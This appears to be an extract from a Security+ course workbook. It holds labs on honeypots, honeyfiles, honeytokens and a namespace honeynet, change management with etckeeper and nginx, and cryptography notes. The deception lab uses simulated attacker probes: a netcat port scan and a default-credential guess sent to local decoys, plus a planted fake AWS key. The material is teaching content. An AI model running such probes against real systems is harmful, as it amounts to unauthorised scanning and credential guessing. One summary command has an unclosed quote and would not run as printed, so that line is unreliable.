```
journalctl _COMM=sudo --no-pager | grep -E "alice" | tail -4

journalctl -u ssh --no-pager | grep -E "Accepted publickey for alice" |
tail -2

grep -hE "sudo:|sshd.*Accepted" /var/log/auth.log 2>/dev/null | tail -4 ||
true
```

Test it

bob is denied the secret, the tampered hash fails, cia-web restarts itself, the key login works, alice can only restart cia-web, and journalctl shows her sudo use.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-02-cia-aaa/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 3 — Deception: Honeypots, Honeyfiles and Honeytokens

Exam objective: 1.2. Learning outcome: Deploy honeypots, a honeyfile, a honeytoken and a honeynet.

Goal: The learner deploys a low-interaction honeypot, a honeyfile watched by auditd and inotify, a decoy cloud credential with a detection script and a two-decoy honeynet, then summarises the alerts.

What you'll build

A logging honeypot, a watched honeyfile, a honeytoken detector and a namespace honeynet. (Tools: python3, netcat, auditd, inotifywait, ip netns, curl.)

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Step-by-step

1. Install the tools auditd records who opened the honeyfile, inotify-tools gives a real-time alert, netcat plays the attacker, and iproute2 builds the honeynet namespace.

```
apt-get update -qq && apt-get install -y auditd inotify-tools netcat-
openbsd iproute2 python3 curl

systemctl enable --now auditd

mkdir -p /opt/honeypot /root/lab03 && touch /var/log/honeypot.log
```

2. Write a low-interaction honeypot The script listens on a port, presents a fake service banner, captures the first bytes the client sends, and writes one log line per connection. It never executes anything it receives.

```
cat > /opt/honeypot/honeypot.py <<'EOF'

#!/usr/bin/env python3

"""Low-interaction honeypot: honeypot.py PORT BANNER LOGFILE"""

import datetime, socketserver, sys


PORT, BANNER, LOG = int(sys.argv[1]), sys.argv[2].encode() + b"\r\n",
sys.argv[3]


class Decoy(socketserver.BaseRequestHandler):

    def handle(self):

        self.request.settimeout(5)

        try:

            self.request.sendall(BANNER)

            data = self.request.recv(1024)

        except OSError:

            data = b""

        ts = datetime.datetime.now().isoformat(timespec="seconds")

        src = f"{self.client_address[0]}:{self.client_address[1]}"

        with open(LOG, "a") as f:
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
            f.write(f"{ts} HONEYPOT port={PORT} src={src} data={data[:60]!
r}\n")


socketserver.ThreadingTCPServer.allow_reuse_address = True

socketserver.ThreadingTCPServer(("0.0.0.0", PORT), Decoy).serve_forever()

EOF

chmod 755 /opt/honeypot/honeypot.py && python3 -m py_compile
/opt/honeypot/honeypot.py && echo "honeypot OK"
```

3. Deploy the honeypot and simulate an attacker probe Run a fake SSH service on port 2222 that advertises an old, attractive OpenSSH version, then probe it the way an attacker would.

```
nohup python3 /opt/honeypot/honeypot.py 2222 "SSH-2.0-OpenSSH_7.4"
/var/log/honeypot.log >/dev/null 2>&1 &

sleep 1 && ss -tlnp | grep 2222

printf 'root:toor\n' | nc -w 3 127.0.0.1 2222

sleep 1 && tail -2 /var/log/honeypot.log
```

4. Plant a honeyfile and watch it with auditd A file called payroll-2026-FINAL.csv on a share is irresistible. Nobody legitimate needs it, so every read is suspicious. auditd records who opened it and with which program.

```
mkdir -p /srv/finance

cat > /srv/finance/payroll-2026-FINAL.csv <<'EOF'

employee_id,name,monthly_salary

E1001,DECOY RECORD,0

E1002,DECOY RECORD,0

EOF

chmod 644 /srv/finance/payroll-2026-FINAL.csv

auditctl -w /srv/finance/payroll-2026-FINAL.csv -p r -k honeyfile

id intruder >/dev/null 2>&1 || useradd -m intruder

sudo -u intruder cat /srv/finance/payroll-2026-FINAL.csv >/dev/null

sleep 1 && ausearch -k honeyfile -i | grep "type=SYSCALL" | tail -1
```

5. Raise a real-time honeyfile alert with inotifywait auditd is great evidence, but a SOC also wants an immediate alert. inotify fires the instant the file is opened.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
nohup inotifywait -m -e open --timefmt '%F %T' --format '%T HONEYFILE %e
%w%f' /srv/finance/payroll-2026-FINAL.csv >> /var/log/honeyfile-alert.log
2>/dev/null &

sleep 1

sudo -u intruder head -1 /srv/finance/payroll-2026-FINAL.csv >/dev/null

sleep 1 && cat /var/log/honeyfile-alert.log
```

6. Plant a honeytoken and detect its use Leave a fake cloud credential where an intruder will look. It grants nothing, so the only way it can appear in traffic is if someone stole it. A decoy API logs requests, and a detection script alerts on the token value.

```
mkdir -p /root/.aws

cat > /root/.aws/credentials.bak <<'EOF'

[prod-admin]

aws_access_key_id = AKIAHONEYTOKEN0LAB03

aws_secret_access_key = LabOnlyDecoySecretNotReal0000000000000000

EOF

mkdir -p /srv/decoy-api && echo "ok" > /srv/decoy-api/index.html

nohup python3 -m http.server 8088 --directory /srv/decoy-api >>
/var/log/decoy-api.log 2>&1 &

sleep 1

curl -s -o /dev/null "http://127.0.0.1:8088/v1/login?
access_key=AKIAHONEYTOKEN0LAB03"

cat > /usr/local/bin/honeytoken-check.sh <<'EOF'

#!/bin/bash

TOKEN="AKIAHONEYTOKEN0LAB03"

if grep -q "$TOKEN" /var/log/decoy-api.log; then

  echo "ALERT: honeytoken $TOKEN was used - treat /root/.aws as
compromised"

  grep "$TOKEN" /var/log/decoy-api.log | tail -3

else

  echo "no honeytoken use detected"

fi
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
EOF

chmod 755 /usr/local/bin/honeytoken-check.sh && /usr/local/bin/honeytoken-
check.sh
```

7. Build a mini honeynet in a network namespace A honeynet looks like a small network of real hosts. Create an isolated namespace with two decoy IP addresses, run a fake FTP server and a fake Telnet server inside it, then scan and probe it from the host.

```
ip netns add honeynet 2>/dev/null || true

ip link add veth-host type veth peer name veth-hn 2>/dev/null && ip link
set veth-hn netns honeynet

ip addr add 10.66.0.1/24 dev veth-host 2>/dev/null; ip link set veth-host
up

ip netns exec honeynet ip addr add 10.66.0.2/24 dev veth-hn 2>/dev/null

ip netns exec honeynet ip addr add 10.66.0.3/24 dev veth-hn 2>/dev/null

ip netns exec honeynet ip link set veth-hn up && ip netns exec honeynet ip
link set lo up

ip netns exec honeynet nohup python3 /opt/honeypot/honeypot.py 21 "220
ProFTPD 1.3.5 Server (FILESRV01)" /var/log/honeypot.log >/dev/null 2>&1 &

ip netns exec honeynet nohup python3 /opt/honeypot/honeypot.py 23 "Ubuntu
14.04 LTS PAYROLL-DB login:" /var/log/honeypot.log >/dev/null 2>&1 &

sleep 1

nc -zv -w 2 10.66.0.2 20-23 2>&1 | grep succeeded

printf 'USER admin\n' | nc -w 3 10.66.0.2 21

printf 'admin\n' | nc -w 3 10.66.0.3 23
```

8. Summarise the deception alerts Pull every decoy signal into one view, the way a SIEM dashboard would. Each line is a lead worth investigating.

```
sleep 1

echo "== Honeypot hits by port and source =="

grep HONEYPOT /var/log/honeypot.log | awk '{print $3, $4}' | sed 's/:[0-
9]*$//' | sort | uniq -c

echo "== Honeyfile opens ==";  grep -c HONEYFILE /var/log/honeyfile-
alert.log

echo "== Honeyfile readers (auditd) ==; ausearch -k honeyfile -i
2>/dev/null | grep -o ' uid=[a-z0-9]*' | sort | uniq -c
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
echo "== Honeytoken ==" ; /usr/local/bin/honeytoken-check.sh | head -1
```

Test it

The honeypot log shows hits on ports 2222, 21 and 23, auditd records uid=intruder reading the honeyfile, and the check script prints ALERT for the honeytoken.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-03-deception-honeypots/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 1.3 — Change Management

Official objective: Explain the importance of change management processes and the impact to security.

Unplanned and unauthorised changes are a leading cause of outages and of new vulnerabilities, so change management is itself a security control.

Business processes such as approval, ownership, stakeholder engagement, impact analysis, test results, a backout plan, a maintenance window and standard operating procedures make every change reviewed and reversible.

Technical implications include updating allow and deny lists, restricting activities to the approved scope, planning downtime and restarts, and protecting fragile legacy applications and their dependencies.

When a change closes, diagrams, policies and procedures are updated, and version control records who changed what so drift and unauthorised edits can be detected and rolled back.

Obj 1.3 · Why It Matters

- Change management keeps security and uptime aligned Unplanned or unauthorised changes are a leading cause of outages and new vulnerabilities. A formal process makes every change reviewed, tested, approved, reversible and documented.

The Change Management Lifecycle

- Step 1: Submit a change request with scope and owner
- Step 2: Analyse impact, risk and dependencies
- Step 3: Test in staging and record the results
- Step 4: CAB approves and schedules a maintenance window
- Step 5: Implement and verify, or execute the backout plan

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Step 6: Update diagrams, documents and version control

Business Processes That Affect Security

- Approval process — A change advisory board or delegated approver signs off before work starts. No approval means no change.
- Ownership — Each change has a named owner who is accountable for planning, carrying out and reporting the outcome.
- Stakeholders — Everyone affected, from business users to security and support teams, is consulted and kept informed.
- Impact analysis — Assesses what could break, the security risk of making the change and of not making it, and who is affected.
- Test results — Evidence from a staging environment that the change works and does not introduce new vulnerabilities.
- Backout plan — Pre-agreed, tested steps to return to the previous state if the change fails. Always prepared in advance.
- Maintenance window — An agreed time slot, usually off-peak, when changes and any downtime have the least business impact.
- Standard operating procedure — A documented step-by-step method for routine changes, so they are done consistently and safely.

Planned Change versus Emergency Change

- Planned (normal) change: Raised in advance, reviewed by the CAB and scheduled into a maintenance window.
- Planned (normal) change: Fully tested in staging, with documented results attached before approval.
- Planned (normal) change: Standard pre-approved changes follow an SOP and skip the full CAB review.
- Planned (normal) change: The default path for patches, upgrades and firewall rule changes.
- Emergency change: Used when waiting would cause greater harm, such as an actively exploited flaw.
- Emergency change: An emergency CAB or delegated authority approves it quickly.
- Emergency change: Testing may be reduced, so the backout plan and monitoring matter even more.
- Emergency change: It is still documented and reviewed afterwards, never skipped altogether.

Technical Implications of a Change

- Allow and deny lists — New software, hosts or IP ranges may need adding to allow lists or firewall rules, or the change will be blocked.
- Restricted activities — The change scope defines what the implementer may touch. Work outside that scope is an unauthorised change.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Downtime — Some changes take a service offline. Plan it inside the window and tell users so they are not surprised.
- Service restart — Many configuration changes need a daemon restart or reload. A reload keeps connections; a restart drops them.
- Application restart — Applications may need restarting to load patches, which can drop user sessions and lose in-memory data.
- Legacy applications — Older software may be unsupported, undocumented and fragile, so even small changes can break it.
- Dependencies — Services rely on each other. Changing a database, library or certificate can break every app that uses it.

Documentation and Version Control

- Updating diagrams: Network and data-flow diagrams must match reality.; Outdated diagrams mislead responders in incidents.; Update them as part of closing every change.
- Policies, procedures: New systems may need new or revised procedures.; SOPs and runbooks must reflect the new steps.; Staff are told and trained on what changed.
- Version control: Track every config and code change: who, what, when.; Git or etckeeper lets you diff and roll back fast.; Version numbers stop people using old documents.

Why Change Management Is a Security Control

- Unauthorised changes are a classic sign of compromise, so anything outside the approved list must be investigated.
- A configuration baseline plus change control prevents configuration drift and keeps hardening settings in place.
- Impact analysis includes the risk of not changing, such as leaving a critical vulnerability unpatched.
- Separation of duties means the person who requests a change should not be the only person who approves it.
- Every change is logged, which gives an audit trail for incident response, forensics and compliance reviews.

Exam tips

- Backout plan = how to undo a failed change. It must exist before approval, not be written after things break.
- Maintenance window = agreed low-impact time for changes. Impact analysis comes before approval, not after.
- Dependencies and legacy applications are the usual reasons a simple change causes an outage.
- Version control records who changed what and enables rollback; update diagrams and procedures when a change closes.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Allow lists may need updating after a change, or the new software or host will be blocked.

Lab 4 — Change Management with Version-Controlled Configuration

Exam objective: 1.3. Learning outcome: Run a change from request to backout with version-controlled config.

Goal: The learner raises change CHG-1001, analyses impact, tests it on a staging nginx, applies it with a zero-downtime reload in the window, commits it with etckeeper and backs out an unauthorised edit.

What you'll build

A change record, staging test results, an nginx allow and deny list, a git-tracked /etc and a backout. (Tools: etckeeper, git, nginx, curl, systemctl.)

Step-by-step

1. Install the tools etckeeper puts /etc into a git repository and auto-commits every package install. nginx is the production service you will change. Set a git identity first so commits are attributed.

```
apt-get update -qq && apt-get install -y git curl

git config --global user.name "Lab Admin" && git config --global user.email
"admin@lab.local"

DEBIAN_FRONTEND=noninteractive apt-get install -y etckeeper nginx

systemctl enable --now nginx

mkdir -p /root/change/staging && cd /root/change
```

2. Put /etc under version control and record the baseline A known baseline is the reference point for detecting drift. etckeeper already committed the nginx installation for you.

```
[ -d /etc/.git ] || etckeeper init

etckeeper commit "Baseline before CHG-1001" >/dev/null 2>&1 || true

git -C /etc log --oneline | head -5

git -C /etc status --short | wc -l
```

3. Raise the change request The request names an owner and stakeholders, states what is restricted (out of scope), and contains a backout plan before anyone approves it.

```
cat > /root/change/CHG-1001.txt <<'EOF'

CHANGE REQUEST CHG-1001
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
Title        : Restrict nginx admin port 8081 to an allow list, add a deny
list and nosniff header

Owner        : Lab Admin (web platform team)

Stakeholders : Web users, security operations, monitoring team, service
desk

Type         : Normal change (CAB review required)

Reason       : Pen-test finding PT-17 - admin interface reachable from any
address

Scope        : /etc/nginx/conf.d/chg-1001.conf on web01 only

Restricted   : No edits outside conf.d, no restart of other services, no
package upgrades

Impact       : Admin port closed to all except allow list; config reload
only (no downtime)

Dependencies : Monitoring health check polls 127.0.0.1:8081 every minute;
legacy report tool uses port 80

Window       : Sunday 02:00-03:00 SGT (lowest traffic)

Test plan    : Staging instance; nginx -t; allow-listed source gets 200;
header present

Backout plan : git -C /etc revert the CHG-1001 commit, nginx -t, systemctl
reload nginx

Approval     : PENDING CAB

EOF

cat /root/change/CHG-1001.txt
```

4. Run the impact analysis Check what is listening, what depends on nginx, and which files the change will touch. Append the findings to the change record.

```
ss -tlnp | grep nginx

systemctl list-dependencies --reverse nginx.service --no-pager | head -5

ls /etc/nginx/conf.d/ /etc/nginx/sites-enabled/

grep -rn "listen" /etc/nginx/sites-enabled/

echo "Impact check $(date +%F): nginx on :80 only today; new :8081
listener; monitoring at 127.0.0.1 is a dependency" >>
/root/change/CHG-1001.txt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

5. Stage and test the change Write the candidate configuration and test it on a separate staging nginx instance, not on production. The first test exposes a dependency problem: the allow list would block the monitoring host.

```
cat > /root/change/staging/chg-1001.conf <<'EOF'

# CHG-1001: admin allow list, deny list and security header

deny 203.0.113.0/24;

deny 198.51.100.23;

add_header X-Content-Type-Options "nosniff" always;

server {

    listen 8081;

    root /var/www/html;

    index index.html index.nginx-debian.html;

    location / {

        allow 10.10.0.0/16;

        deny  all;

    }

}

EOF

cat > /root/change/staging/nginx.conf <<'EOF'

pid /root/change/staging/nginx.pid;

error_log /root/change/staging/error.log;

events {}

http { access_log off; include /root/change/staging/chg-1001.conf; }

EOF

nginx -t -p /root/change/staging -c /root/change/staging/nginx.conf

nginx -p /root/change/staging -c /root/change/staging/nginx.conf && sleep 1

curl -s -o /dev/null -w "staging test 1 (monitoring host): HTTP %
{http_code}\n" http://127.0.0.1:8081/

sed -i 's#allow 10.10.0.0/16;#allow 10.10.0.0/16;\n        allow
127.0.0.1;#' /root/change/staging/chg-1001.conf
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
nginx -p /root/change/staging -c /root/change/staging/nginx.conf -s reload
&& sleep 1

curl -s -o /dev/null -w "staging test 2 (monitoring host): HTTP %
{http_code}\n" http://127.0.0.1:8081/

nginx -p /root/change/staging -c /root/change/staging/nginx.conf -s stop

echo "Test results $(date +%T): test 1 HTTP 403 (monitoring blocked), allow
127.0.0.1 added, test 2 HTTP 200" >> /root/change/CHG-1001.txt
```

6. Approve and implement in the maintenance window With test results attached, the CAB approves. Deploy the tested file, validate it, and apply it with a reload: the nginx master PID stays the same, so existing connections are not dropped.

```
sed -i "s/^Approval     : PENDING CAB/Approval     : APPROVED by CAB on $
(date +%F) for the Sunday window/" /root/change/CHG-1001.txt

grep '^Approval' /root/change/CHG-1001.txt

cp /root/change/staging/chg-1001.conf /etc/nginx/conf.d/chg-1001.conf

nginx -t

OLD=$(cat /run/nginx.pid); systemctl reload nginx; sleep 1; NEW=$(cat
/run/nginx.pid)

echo "nginx master PID before=$OLD after=$NEW (same PID = reload, no
downtime)"

curl -s -o /dev/null -w "production admin port from monitoring host: HTTP %
{http_code}\n" http://127.0.0.1:8081/

curl -sI http://127.0.0.1/ | grep -i "x-content-type-options"
```

7. Commit the change and update the documentation Commit with the change ID so the history links back to the request, then update the network diagram and the change log. Version control answers "who changed what, when, and why".

```
etckeeper commit "CHG-1001: nginx admin allow list, deny list, nosniff
header"

git -C /etc log --oneline -3

git -C /etc show --stat HEAD | head -12

cat >> /root/change/network-diagram.txt <<'EOF'

[Internet] --80/tcp--> [web01 nginx]   (deny list: 203.0.113.0/24,
198.51.100.23)

[Admin VLAN 10.10.0.0/16 + monitoring 127.0.0.1] --8081/tcp--> [web01
admin]   (updated CHG-1001)

EOF
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
echo "$(date +%F) CHG-1001 implemented and verified; SOP-WEB-02 updated
with the allow-list request step" >> /root/change/CHANGELOG.txt

cat /root/change/network-diagram.txt /root/change/CHANGELOG.txt
```

8. Detect an unauthorised change and execute the backout plan Someone edits production outside the process and breaks the syntax. Version control shows the drift instantly, the config test fails, and you restore the approved version.

```
echo "deny 127.0.0.1" >> /etc/nginx/conf.d/chg-1001.conf

git -C /etc status --short nginx/

git -C /etc diff nginx/conf.d/chg-1001.conf | tail -3

nginx -t 2>&1 | tail -1 || true

git -C /etc checkout -- nginx/conf.d/chg-1001.conf

nginx -t && systemctl reload nginx

git -C /etc status --short nginx/ | wc -l

echo "$(date +%F) Unauthorised edit to chg-1001.conf detected and reverted;
incident INC-2001 raised" >> /root/change/CHANGELOG.txt
```

Test it

git log shows the CHG-1001 commit, git status shows no drift, port 8081 returns 200 for the monitoring host, the nosniff header is present and approval is recorded.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-04-change-management/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 1.4 — Cryptographic Solutions

Official objective: Explain the importance of using appropriate cryptographic solutions.

Public key infrastructure binds public keys to identities through certificates issued by certificate authorities, while private keys stay secret and key escrow allows controlled recovery.

Encryption can be applied at many levels, from full-disk, partition, volume and file down to database and record, and to data in transit with transport encryption.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Symmetric ciphers such as AES are fast for bulk data, asymmetric algorithms such as RSA and ECC solve key distribution and enable signatures, and key exchange such as ECDHE lets parties agree a secret safely.

Hardware and services such as the TPM, HSM, key management systems and secure enclaves protect keys, while obfuscation techniques such as steganography, tokenization and data masking hide sensitive data.

Hashing, salting and key stretching protect integrity and passwords, digital signatures give non-repudiation, blockchain uses chained hashes in an open public ledger, and certificates are validated through CRLs and OCSP.

PKI Building Blocks

- Public key — Shared freely. Used to encrypt data for the key owner and to verify the owner's digital signatures.
- Private key — Kept secret by the owner. Used to decrypt data and to create signatures. Its compromise breaks everything.
- Key pair — The two keys are mathematically linked, but the private key cannot feasibly be derived from the public key.
- Key escrow — A trusted third party holds a copy of keys so data can be recovered if a key is lost, or for lawful access.
- PKI — The CAs, policies, people and software that issue, manage, validate and revoke certificates binding keys to identities.

Encryption Levels: What Gets Protected

- Full-disk — Encrypts the entire drive including the OS, such as BitLocker or LUKS. Protects data on a lost or stolen device.
- Partition — Encrypts one partition only, so other partitions on the same disk stay readable without the key.
- Volume — Encrypts a logical volume that can span disks, such as an encrypted LVM volume or a VeraCrypt container.
- File — Encrypts individual files, such as with EFS or GPG. The protection travels with the file when it is copied.
- Database — Transparent data encryption protects the whole database at rest and decrypts for authorised queries.
- Record — Encrypts specific rows or columns, such as card numbers, so even database administrators cannot read them.
- Transport — Protects data in transit with TLS, IPsec or SSH, so eavesdroppers on the network see only ciphertext.
- Data at rest uses disk-to-record encryption, data in transit uses transport encryption, and data in use needs a secure enclave.

Symmetric versus Asymmetric Encryption

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Symmetric: One shared secret key both encrypts and decrypts, for example AES-256 or ChaCha20.
- Symmetric: It is very fast and suits bulk data such as full-disk encryption and VPN payloads.
- Symmetric: Key distribution is the problem: n parties need n(n-1)/2 keys to talk privately in pairs.
- Symmetric: It gives confidentiality, and with GCM also integrity, but never non-repudiation.
- Asymmetric: A linked key pair is used: the public key encrypts and the private key decrypts.
- Asymmetric: It is far slower, so it protects small items such as session keys and digests.
- Asymmetric: It solves key distribution and enables digital signatures and key agreement.
- Asymmetric: RSA and ECC are typical, and ECC gives similar strength with much smaller keys.

Key Exchange: Sharing Secrets Safely

- The problem — Symmetric ciphers need both sides to hold the same key, but sending that key in clear text exposes it.
- Diffie-Hellman — Each party combines its private value with the other's public value, and both derive the same secret unsent.
- ECDHE — Elliptic-curve Diffie-Hellman with ephemeral keys, used by TLS 1.3. A new key per session gives forward secrecy.
- RSA key transport — The client encrypts a session key with the server public key. Dropped in TLS 1.3 as it lacks forward secrecy.
- Out-of-band — Keys or fingerprints are shared over a separate channel, such as in person or by phone, to defeat interception.

Hybrid Encryption as Used by TLS and PGP

- Step 1: Generate a random symmetric session key
- Step 2: Encrypt the bulk data with AES under that key
- Step 3: Protect the session key with the recipient public key
- Step 4: Send the wrapped key together with the ciphertext
- Step 5: Recipient unwraps the key and decrypts the data

Algorithms and Key Lengths

- AES — Symmetric block cipher with 128, 192 or 256-bit keys. The current standard for bulk encryption.
- DES and 3DES — 56-bit DES is broken and 3DES is deprecated. Expect them as wrong answers or legacy audit findings.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- ChaCha20 — A fast 256-bit stream cipher, popular on mobile devices that lack AES hardware acceleration.
- RSA — Asymmetric, based on factoring large primes. Use 2048 bits minimum and 3072 or more for long-term protection.
- ECC — Asymmetric, based on elliptic curves. A 256-bit ECC key is roughly as strong as a 3072-bit RSA key.
- Key length — Each extra bit doubles brute-force effort but costs CPU. Only compare key lengths within one algorithm.
- A longer key is stronger only within the same algorithm: 256-bit ECC beats 2048-bit RSA despite the smaller number.

AES Block Modes You Must Recognise

- ECB — Encrypts each block independently, so identical plaintext blocks give identical ciphertext. Never use it.
- CBC — Chains each block with the previous ciphertext and needs a random IV. It gives confidentiality only.
- GCM — Counter mode plus an authentication tag, so it delivers confidentiality and integrity together.
- CTR — Turns the block cipher into a stream cipher using a counter. Reusing a nonce with one key is catastrophic.
- IV and nonce — A per-message value that makes the same plaintext encrypt differently. It is public but must never repeat.
- TLS 1.3 removed CBC entirely and permits only AEAD suites such as AES-GCM and ChaCha20-Poly1305.

Cryptographic Tools: Where Keys Live

- TPM — A chip on the motherboard that stores keys, supports measured and secure boot, and seals disk encryption keys.
- HSM — A tamper-resistant appliance or card that generates, stores and uses keys at scale, such as for a CA or a bank.
- Key management system — A central service, such as a cloud KMS, that creates, rotates, audits and retires keys across many systems.
- Secure enclave — An isolated processor area that protects data in use, such as phone biometrics or confidential computing.

TPM versus HSM

- Trusted Platform Module: Built into one device's motherboard or firmware.
- Trusted Platform Module: Protects that one device: boot integrity and disk encryption keys.
- Trusted Platform Module: Low cost and present in almost every modern laptop and server.
- Trusted Platform Module: Required by features such as BitLocker and Windows 11.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Hardware security module: A separate appliance, PCIe card, USB device or cloud service.
- Hardware security module: Serves many systems and applications with high-speed crypto.
- Hardware security module: Expensive, tamper-evident and often FIPS 140 validated.
- Hardware security module: Used for CA root keys, payment processing and code signing.

Obfuscation: Steganography, Tokenization, Masking

- Steganography — Hides data inside other data, such as a message in image pixels. It conceals that a secret exists at all.
- Tokenization — Replaces sensitive data with a random token, while the real value sits in a secure vault. Common for card payments.
- Data masking — Hides part of a value, such as showing only the last four card digits. Often used for test data and support staff.
- Obfuscation — Makes code or data hard to understand without strong cryptography. It slows attackers but is not encryption.

Tokenization versus Encryption

- Tokenization: The token has no mathematical link to the original value.
- Tokenization: The real data lives only in a tightly controlled token vault.
- Tokenization: Stolen tokens are useless without access to the vault.
- Tokenization: It shrinks PCI DSS scope because most systems hold only tokens.
- Encryption: Ciphertext is mathematically derived from the plaintext and a key.
- Encryption: Anyone holding the key can decrypt the data anywhere.
- Encryption: Format-preserving encryption can keep the data length and type.
- Encryption: The key itself becomes the asset that must be protected.

Properties of a Cryptographic Hash

- One way — Given the digest you cannot feasibly recover the input. Hashing is not encryption: there is no key and no decryption.
- Fixed length — SHA-256 always produces 256 bits, or 64 hex characters, whether the input is one byte or one gigabyte.
- Collision resistant — Finding two inputs with the same digest must be infeasible. MD5 and SHA-1 fail here and must not be used.
- Avalanche effect — Flipping a single input bit changes about half the output bits, so similar files give unrelated digests.
- Algorithms — Use SHA-256, SHA-384 or SHA-3. MD5 and SHA-1 survive only as non-security checksums.

Salting and Key Stretching for Passwords

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Salt — A unique random value added to each password before hashing. Defeats rainbow tables and hides duplicate passwords.
- Pepper — A secret value shared by all hashes and stored outside the database, for example in an HSM or KMS.
- Key stretching — Repeats the hashing work thousands of times so each guess is slow, turning a fast hash into an expensive one.
- PBKDF2 — HMAC-based with a configurable iteration count. Current guidance is hundreds of thousands of iterations.
- bcrypt — Blowfish-based with a cost factor, and each increment of the cost doubles the work required.
- Argon2id and scrypt — Memory-hard functions that also consume RAM, which blunts GPU and ASIC cracking rigs.
- Never store passwords with a fast hash such as plain SHA-256, because that speed is exactly what the attacker wants.

Creating and Verifying a Digital Signature

- Step 1: Sender hashes the message, for example with SHA-256
- Step 2: Sender signs the hash with their private key
- Step 3: The signature travels with the message
- Step 4: Receiver checks it with the sender public key
- Step 5: Matching digests prove integrity and origin

Blockchain and the Open Public Ledger

- Blockchain — A chain of blocks, each holding transactions, a timestamp and the hash of the previous block.
- Tamper evidence — Changing any block changes its hash and breaks every later link, so alterations are obvious.
- Open public ledger — The ledger is copied across a decentralised peer-to-peer network, so there is no single point of failure.
- Uses — Cryptocurrency, supply-chain tracking and smart contracts. Integrity comes from hashing plus consensus.

Certificates and Certificate Authorities

- Certificate authority — A trusted entity that verifies identity and signs certificates binding a public key to a subject.
- Root of trust — The root CA certificate in your trust store. Everything it signs, directly or via intermediates, is trusted.
- Third-party CA — A public CA such as Let's Encrypt or DigiCert, whose roots browsers and operating systems trust by default.
- Self-signed — Signed by its own key. Fine for labs and internal use, but browsers warn because no trusted CA vouches for it.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- CSR generation — The requester creates a key pair and sends a CSR with the public key and subject. The private key stays home.
- Wildcard — A certificate for *.example.com covers every first-level subdomain, but one stolen key exposes them all.
- Inspect any certificate with openssl x509 -in cert.pem -noout -text and check the SAN, issuer and validity dates.

CRL versus OCSP

- Certificate revocation list: A signed list of revoked serial numbers published by the CA.
- Certificate revocation list: Clients download it periodically, so it can be out of date.
- Certificate revocation list: Large lists waste bandwidth on constrained devices.
- Certificate revocation list: Its location is in the CRL Distribution Points extension.
- OCSP: The client asks a responder about one certificate in real time.
- OCSP: The answer is good, revoked or unknown, signed by the responder.
- OCSP: OCSP stapling lets the server attach a fresh signed response.
- OCSP: The responder URL is in the Authority Information Access extension.

Certificate Lifecycle from Key to Trust

- Step 1: Generate a private key and keep it protected
- Step 2: Create a CSR with the public key and subject details
- Step 3: CA validates the request and signs the certificate
- Step 4: Install the certificate and intermediates on the server
- Step 5: Monitor expiry, then renew, rekey or revoke

Exam tips

- Encrypt with the recipient's public key; sign with your own private key. Swapping these is the classic exam trap.
- Hashing is one-way (integrity); encryption is reversible (confidentiality); tokenization swaps data for a vault-backed token.
- Salt defeats rainbow tables; key stretching such as PBKDF2 or bcrypt slows brute force. Use both for passwords.
- TPM = per-device chip; HSM = dedicated high-volume key appliance; secure enclave = protects data in use.
- OCSP gives real-time revocation status; a CRL is a periodically published list. Stapling moves the OCSP check to the server.

Lab 5 — Hashing, Salting, and Digital Signatures

Exam objective: 1.4. Learning outcome: Hash, salt, stretch, HMAC and sign data with OpenSSL.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Goal: The learner proves integrity with a checksum manifest, salts and stretches password hashes, adds authenticity with an HMAC, and signs and verifies a purchase order with RSA-3072.

What you'll build

A SHA256SUMS manifest, salted hashes, a PBKDF2 timing test, an HMAC tag and a verified signature. (Tools: sha256sum, openssl passwd, openssl kdf, openssl dgst, openssl genpkey, chpasswd.)

Step-by-step

1. Install the tools OpenSSL 3 provides hashing, HMAC, PBKDF2 and signatures; coreutils provides sha256sum.

```
apt-get update -qq && apt-get install -y openssl coreutils

openssl version

mkdir -p /root/lab05 && cd /root/lab05
```

